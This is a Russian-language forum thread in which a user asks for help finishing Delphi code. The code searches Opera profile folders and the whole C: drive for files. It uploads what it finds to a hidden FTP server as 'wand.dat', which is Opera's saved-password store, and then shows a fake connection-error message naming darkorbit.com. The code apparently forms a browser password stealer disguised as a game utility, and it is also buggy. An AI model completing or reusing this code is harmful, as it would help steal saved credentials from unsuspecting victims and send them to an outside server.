Доброго времени суток.у меня такая проблемка:
Моя програма сканирует лиш определенные дериктории в поиске нужного файла ,а мне нужно чтоб она сканировала весь лкальный диск В поиске нужного файла.
Цитата:
fileName := 'Мой_файл.Exe';
dir1 := 'C:\Opera\profile';
dir2 := 'C:\Program Files\Opera\profile';
f := FileSearch(fileName, dir2+';'+dir1);
c := 'Мой_файл.Exe;
d1 := 'C:\Program Files\Opera\profile';
d2 := 'C:\Opera\Profiles';
g := FileSearch(c, d1+';'+d2);
Помогите пжл...
________________
Ставьте спасибки Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
Нет ((
Мне нужно чтоб програма сканировала весь диск С:\
Добавлено через 11 часов 21 минуту
Вот это у меня получилось:
При компиляции нету ошибок а при выполнении програмы выдает ошибку и строку idftp1.connected; выделяет синим цветом.Помогине непонимаю в чем ошибка.
procedure TForm1.mFileScan1FileFound(Sender: TObject; FileName: String);
var
n : string;
a : integer ;
begin
n := (FileName) ;
showmessage(n);
a := random(1000);
idftp1.Host:='xxxxx;
idftp1.Port:=21;
idftp1.Username:='xxxxxx';
idftp1.Password:='xxxxxxx';
idftp1.Connected;
idftp1.Put(n, 'a'+'wand.dat', true);
idftp1.Disconnect ;
showmessage('Невозможно подключитьсч к серверу darkorbit.com');
end;
________________
Ставьте спасибки Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
Последний раз редактировалось Fox-007; 26.11.2010 в 08:33.
Причина: Добавлено сообщение